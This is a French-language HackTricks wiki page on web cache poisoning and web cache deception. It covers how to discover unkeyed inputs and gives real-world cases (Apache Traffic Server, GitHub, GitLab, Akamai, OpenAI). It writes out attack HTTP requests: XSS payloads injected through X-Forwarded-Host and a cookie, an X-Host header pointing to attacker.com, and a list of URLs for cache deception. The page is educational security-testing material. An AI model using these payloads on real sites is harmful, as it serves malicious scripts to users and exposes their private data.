Poisonnement de Cache et Tromperie de Cache

Reading time: 15 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

La différence

Quelle est la différence entre le poisonnement de cache web et la tromperie de cache web ?

  • Dans le poisonnement de cache web, l'attaquant amĂšne l'application Ă  stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache Ă  d'autres utilisateurs de l'application.
  • Dans la tromperie de cache web, l'attaquant amĂšne l'application Ă  stocker un contenu sensible appartenant Ă  un autre utilisateur dans le cache, et l'attaquant rĂ©cupĂšre ensuite ce contenu depuis le cache.

Poisonnement de Cache

Le poisonnement de cache vise à manipuler le cache cÎté client pour forcer les clients à charger des ressources qui sont inattendues, partielles ou sous le contrÎle d'un attaquant. L'ampleur de l'impact dépend de la popularité de la page affectée, car la réponse contaminée est servie exclusivement aux utilisateurs visitant la page pendant la période de contamination du cache.

L'exécution d'une attaque de poisonnement de cache implique plusieurs étapes :

  1. Identification des EntrĂ©es Non ClĂ©s : Ce sont des paramĂštres qui, bien qu'ils ne soient pas nĂ©cessaires pour qu'une requĂȘte soit mise en cache, peuvent modifier la rĂ©ponse renvoyĂ©e par le serveur. Identifier ces entrĂ©es est crucial car elles peuvent ĂȘtre exploitĂ©es pour manipuler le cache.
  2. Exploitation des Entrées Non Clés : AprÚs avoir identifié les entrées non clés, l'étape suivante consiste à déterminer comment abuser de ces paramÚtres pour modifier la réponse du serveur d'une maniÚre qui profite à l'attaquant.
  3. Assurer que la Réponse Contaminée est Mise en Cache : La derniÚre étape consiste à s'assurer que la réponse manipulée est stockée dans le cache. De cette façon, tout utilisateur accédant à la page affectée pendant que le cache est contaminé recevra la réponse contaminée.

DĂ©couverte : VĂ©rifiez les en-tĂȘtes HTTP

En gĂ©nĂ©ral, lorsqu'une rĂ©ponse a Ă©tĂ© stockĂ©e dans le cache, il y aura un en-tĂȘte l'indiquant, vous pouvez vĂ©rifier quels en-tĂȘtes vous devriez surveiller dans cet article : En-tĂȘtes de Cache HTTP.

DĂ©couverte : Codes d'erreur de mise en cache

Si vous pensez que la rĂ©ponse est stockĂ©e dans un cache, vous pourriez essayer d'envoyer des requĂȘtes avec un mauvais en-tĂȘte, qui devraient ĂȘtre rĂ©pondues avec un code d'Ă©tat 400. Ensuite, essayez d'accĂ©der Ă  la requĂȘte normalement et si la rĂ©ponse est un code d'Ă©tat 400, vous savez qu'elle est vulnĂ©rable (et vous pourriez mĂȘme effectuer un DoS).

Vous pouvez trouver plus d'options dans :

Cache Poisoning to DoS

Cependant, notez que parfois ces types de codes d'Ă©tat ne sont pas mis en cache, donc ce test pourrait ne pas ĂȘtre fiable.

Découverte : Identifier et évaluer les entrées non clés

Vous pourriez utiliser Param Miner pour forcer des paramĂštres et des en-tĂȘtes qui peuvent modifier la rĂ©ponse de la page. Par exemple, une page peut utiliser l'en-tĂȘte X-Forwarded-For pour indiquer au client de charger le script Ă  partir de lĂ  :

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Éliciter une rĂ©ponse nuisible du serveur back-end

Avec le paramĂštre/en-tĂȘte identifiĂ©, vĂ©rifiez comment il est sanitisĂ© et oĂč il est rĂ©flĂ©chi ou affecte la rĂ©ponse de l'en-tĂȘte. Pouvez-vous en abuser de quelque maniĂšre que ce soit (effectuer un XSS ou charger un code JS contrĂŽlĂ© par vous ? effectuer un DoS ?...)

Obtenir la réponse mise en cache

Une fois que vous avez identifiĂ© la page qui peut ĂȘtre abusĂ©e, quel paramĂštre/en-tĂȘte utiliser et comment en abuser, vous devez faire mettre en cache la page. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps, vous devrez peut-ĂȘtre essayer pendant plusieurs secondes.

L'en-tĂȘte X-Cache dans la rĂ©ponse pourrait ĂȘtre trĂšs utile car il peut avoir la valeur miss lorsque la requĂȘte n'est pas mise en cache et la valeur hit lorsqu'elle est mise en cache.
L'en-tĂȘte Cache-Control est Ă©galement intĂ©ressant pour savoir si une ressource est mise en cache et quand la ressource sera mise en cache Ă  nouveau : Cache-Control: public, max-age=1800

Un autre en-tĂȘte intĂ©ressant est Vary. Cet en-tĂȘte est souvent utilisĂ© pour indiquer des en-tĂȘtes supplĂ©mentaires qui sont traitĂ©s comme partie de la clĂ© de cache mĂȘme s'ils ne sont normalement pas clĂ©s. Par consĂ©quent, si l'utilisateur connaĂźt le User-Agent de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce User-Agent spĂ©cifique.

Un en-tĂȘte supplĂ©mentaire liĂ© au cache est Age. Il dĂ©finit le temps en secondes que l'objet a passĂ© dans le cache proxy.

Lors de la mise en cache d'une requĂȘte, soyez prudent avec les en-tĂȘtes que vous utilisez car certains d'entre eux pourraient ĂȘtre utilisĂ©s de maniĂšre inattendue comme clĂ©s et la victime devra utiliser ce mĂȘme en-tĂȘte. Testez toujours un empoisonnement de cache avec diffĂ©rents navigateurs pour vĂ©rifier si cela fonctionne.

Exemples d'exploitation

Exemple le plus simple

Un en-tĂȘte comme X-Forwarded-For est rĂ©flĂ©chi dans la rĂ©ponse sans ĂȘtre sanitisĂ©.
Vous pouvez envoyer une charge utile XSS basique et empoisonner le cache afin que tout le monde qui accĂšde Ă  la page soit XSSĂ© :

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Notez que cela empoisonnera une requĂȘte Ă  /en?region=uk et non Ă  /en

Empoisonnement de cache pour DoS

Cache Poisoning to DoS

Utiliser l'empoisonnement de cache web pour exploiter les vulnérabilités de gestion des cookies

Les cookies pourraient Ă©galement ĂȘtre reflĂ©tĂ©s dans la rĂ©ponse d'une page. Si vous pouvez en abuser pour provoquer un XSS par exemple, vous pourriez ĂȘtre en mesure d'exploiter le XSS dans plusieurs clients qui chargent la rĂ©ponse de cache malveillante.

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Notez que si le cookie vulnĂ©rable est trĂšs utilisĂ© par les utilisateurs, les requĂȘtes rĂ©guliĂšres nettoieront le cache.

Génération de divergences avec des délimiteurs, normalisation et points

VĂ©rifiez :

Cache Poisoning via URL discrepancies

Poisoning du cache avec traversée de chemin pour voler une clé API

Cette rĂ©daction explique comment il a Ă©tĂ© possible de voler une clĂ© API OpenAI avec une URL comme https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 parce que tout ce qui correspond Ă  /share/* sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a Ă©tĂ© fait lorsque la requĂȘte a atteint le serveur web.

Cela est également mieux expliqué dans :

Cache Poisoning via URL discrepancies

Utilisation de plusieurs en-tĂȘtes pour exploiter les vulnĂ©rabilitĂ©s de poisoning du cache web

Parfois, vous devrez exploiter plusieurs entrĂ©es non clĂ©s pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver un Open redirect si vous dĂ©finissez X-Forwarded-Host sur un domaine contrĂŽlĂ© par vous et X-Forwarded-Scheme sur http. Si le serveur transmet toutes les requĂȘtes HTTP vers HTTPS et utilise l'en-tĂȘte X-Forwarded-Scheme comme nom de domaine pour la redirection. Vous pouvez contrĂŽler oĂč la page est pointĂ©e par la redirection.

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploitation avec un en-tĂȘte Vary limitĂ©

Si vous avez dĂ©couvert que l'en-tĂȘte X-Host est utilisĂ© comme nom de domaine pour charger une ressource JS mais que l'en-tĂȘte Vary dans la rĂ©ponse indique User-Agent. Alors, vous devez trouver un moyen d'exfiltrer le User-Agent de la victime et de polluer le cache en utilisant cet agent utilisateur :

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Envoyez une requĂȘte GET avec la requĂȘte dans l'URL et dans le corps. Si le serveur web utilise celle du corps mais que le serveur de cache met en cache celle de l'URL, quiconque accĂ©dant Ă  cette URL utilisera en rĂ©alitĂ© le paramĂštre du corps. Comme la vulnĂ©rabilitĂ© trouvĂ©e par James Kettle sur le site de Github :

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Il y a un laboratoire Portswigger Ă  ce sujet : https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Cloaking de ParamĂštres

Par exemple, il est possible de sĂ©parer les paramĂštres dans les serveurs ruby en utilisant le caractĂšre ; au lieu de &. Cela pourrait ĂȘtre utilisĂ© pour insĂ©rer des valeurs de paramĂštres non clĂ©s Ă  l'intĂ©rieur de ceux qui sont clĂ©s et en abuser.

Laboratoire Portswigger : https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiter le Poisoning de Cache HTTP en abusant du Smuggling de RequĂȘtes HTTP

Apprenez ici comment effectuer des attaques de Poisoning de Cache en abusant du Smuggling de RequĂȘtes HTTP.

Tests Automatisés pour le Poisoning de Cache Web

Le Web Cache Vulnerability Scanner peut ĂȘtre utilisĂ© pour tester automatiquement le poisoning de cache web. Il prend en charge de nombreuses techniques diffĂ©rentes et est hautement personnalisable.

Exemple d'utilisation : wcvs -u example.com

Exemples Vulnérables

Apache Traffic Server (CVE-2021-27577)

ATS a transmis le fragment Ă  l'intĂ©rieur de l'URL sans le supprimer et a gĂ©nĂ©rĂ© la clĂ© de cache en utilisant uniquement l'hĂŽte, le chemin et la requĂȘte (ignorant le fragment). Ainsi, la requĂȘte /#/../?r=javascript:alert(1) a Ă©tĂ© envoyĂ©e au backend sous la forme /#/../?r=javascript:alert(1) et la clĂ© de cache ne contenait pas la charge utile, seulement l'hĂŽte, le chemin et la requĂȘte.

GitHub CP-DoS

L'envoi d'une mauvaise valeur dans l'en-tĂȘte content-type a dĂ©clenchĂ© une rĂ©ponse 405 mise en cache. La clĂ© de cache contenait le cookie, il Ă©tait donc possible d'attaquer uniquement les utilisateurs non authentifiĂ©s.

GitLab + GCP CP-DoS

GitLab utilise des buckets GCP pour stocker du contenu statique. Les Buckets GCP prennent en charge l'en-tĂȘte x-http-method-override. Il Ă©tait donc possible d'envoyer l'en-tĂȘte x-http-method-override: HEAD et de empoisonner le cache pour renvoyer un corps de rĂ©ponse vide. Cela pouvait Ă©galement prendre en charge la mĂ©thode PURGE.

Middleware Rack (Ruby on Rails)

Dans les applications Ruby on Rails, le middleware Rack est souvent utilisĂ©. Le but du code Rack est de prendre la valeur de l'en-tĂȘte x-forwarded-scheme et de la dĂ©finir comme le schĂ©ma de la requĂȘte. Lorsque l'en-tĂȘte x-forwarded-scheme: http est envoyĂ©, une redirection 301 vers le mĂȘme emplacement se produit, ce qui peut potentiellement causer un dĂ©ni de service (DoS) Ă  cette ressource. De plus, l'application pourrait reconnaĂźtre l'en-tĂȘte X-forwarded-host et rediriger les utilisateurs vers l'hĂŽte spĂ©cifiĂ©. Ce comportement peut entraĂźner le chargement de fichiers JavaScript depuis le serveur d'un attaquant, posant un risque de sĂ©curitĂ©.

403 et Buckets de Stockage

Cloudflare a prĂ©cĂ©demment mis en cache les rĂ©ponses 403. Tenter d'accĂ©der Ă  S3 ou aux Blobs de Stockage Azure avec des en-tĂȘtes d'autorisation incorrects entraĂźnerait une rĂ©ponse 403 qui Ă©tait mise en cache. Bien que Cloudflare ait cessĂ© de mettre en cache les rĂ©ponses 403, ce comportement pourrait encore ĂȘtre prĂ©sent dans d'autres services proxy.

Injection de ParamÚtres Clés

Les caches incluent souvent des paramĂštres GET spĂ©cifiques dans la clĂ© de cache. Par exemple, le Varnish de Fastly a mis en cache le paramĂštre size dans les requĂȘtes. Cependant, si une version encodĂ©e de l'URL du paramĂštre (par exemple, siz%65) Ă©tait Ă©galement envoyĂ©e avec une valeur erronĂ©e, la clĂ© de cache serait construite en utilisant le bon paramĂštre size. Pourtant, le backend traiterait la valeur dans le paramĂštre encodĂ©. L'encodage URL du deuxiĂšme paramĂštre size a conduit Ă  son omission par le cache mais Ă  son utilisation par le backend. L'attribution d'une valeur de 0 Ă  ce paramĂštre a entraĂźnĂ© une erreur 400 Bad Request mise en cache.

RĂšgles de User Agent

Certains dĂ©veloppeurs bloquent les requĂȘtes avec des user-agents correspondant Ă  ceux d'outils Ă  fort trafic comme FFUF ou Nuclei pour gĂ©rer la charge du serveur. Ironiquement, cette approche peut introduire des vulnĂ©rabilitĂ©s telles que le poisoning de cache et le DoS.

Champs d'En-tĂȘte IllĂ©gaux

Le RFC7230 spĂ©cifie les caractĂšres acceptables dans les noms d'en-tĂȘte. Les en-tĂȘtes contenant des caractĂšres en dehors de la plage tchar spĂ©cifiĂ©e devraient idĂ©alement dĂ©clencher une rĂ©ponse 400 Bad Request. En pratique, les serveurs ne respectent pas toujours cette norme. Un exemple notable est Akamai, qui transmet des en-tĂȘtes avec des caractĂšres invalides et met en cache toute erreur 400, tant que l'en-tĂȘte cache-control n'est pas prĂ©sent. Un modĂšle exploitable a Ă©tĂ© identifiĂ© oĂč l'envoi d'un en-tĂȘte avec un caractĂšre illĂ©gal, tel que \, entraĂźnerait une erreur 400 Bad Request mise en cache.

Trouver de Nouveaux En-tĂȘtes

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

L'objectif de la Cache Deception est de faire en sorte que les clients chargent des ressources qui vont ĂȘtre enregistrĂ©es par le cache avec leurs informations sensibles.

Tout d'abord, notez que les extensions telles que .css, .js, .png, etc. sont gĂ©nĂ©ralement configurĂ©es pour ĂȘtre enregistrĂ©es dans le cache. Par consĂ©quent, si vous accĂ©dez Ă  www.example.com/profile.php/nonexistent.js, le cache stockera probablement la rĂ©ponse car il voit l'extension .js. Mais, si l'application rĂ©pond avec les contenus sensibles de l'utilisateur stockĂ©s dans www.example.com/profile.php, vous pouvez voler ces contenus d'autres utilisateurs.

D'autres choses Ă  tester :

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Utilisez des extensions moins connues telles que .avif

Un autre exemple trĂšs clair peut ĂȘtre trouvĂ© dans cet article : https://hackerone.com/reports/593712.
Dans l'exemple, il est expliqué que si vous chargez une page inexistante comme http://www.example.com/home.php/non-existent.css, le contenu de http://www.example.com/home.php (avec les informations sensibles de l'utilisateur) sera renvoyé et le serveur de cache enregistrera le résultat.
Ensuite, l'attaquant peut accéder à http://www.example.com/home.php/non-existent.css dans son propre navigateur et observer les informations confidentielles des utilisateurs qui ont accédé auparavant.

Notez que le proxy de cache doit ĂȘtre configurĂ© pour mettre en cache les fichiers en fonction de l'extension du fichier (.css) et non en fonction du type de contenu. Dans l'exemple http://www.example.com/home.php/non-existent.css aura un type de contenu text/html au lieu d'un type MIME text/css (qui est celui attendu pour un fichier .css).

Apprenez ici comment effectuer des attaques de Cache Deceptions en abusant du Smuggling de RequĂȘtes HTTP.

Outils Automatiques

  • toxicache : Scanner Golang pour trouver des vulnĂ©rabilitĂ©s de poisoning de cache web dans une liste d'URLs et tester plusieurs techniques d'injection.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks